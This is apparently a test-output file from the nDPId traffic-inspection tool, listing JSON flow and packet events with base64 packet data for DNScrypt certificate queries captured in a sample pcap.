+00667{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":181028,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP4FAADYRWuAtmbtgCgAAARD3s6MAwhGWMPOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} +00668{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":183337,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP4JAADYRWt8tmbtgCgAAARD3ngMAwicyMPeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":55896,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286003,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaDJAAL0RMhoKAAABQlUec9pYAbsCCCOeLCwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":55896,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":48448,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286028,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaDMgAL0RTlkKAAABQlUec71AAbsGBPfPLCkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":48448,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":254,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286045,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaDMAub0RcywKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":254,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":40099,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286047,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaDRAAL0RMhgKAAABQlUec5yjAbsCCCOeLCoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":40099,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":47432,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286137,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaDUgAL0RTlcKAAABQlUec7lIAbsGBPvFLCsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":47432,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":257,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286155,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaDUAub0RcyoKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":257,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":54112,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286168,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaDZAAL0RMhYKAAABQlUec9NgAbsCCCOeLCgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":54112,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":35634,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286182,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaDcgAL0RTlUKAAABQlUec4syAbsGBCngLCcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":946739312286,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":35634,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 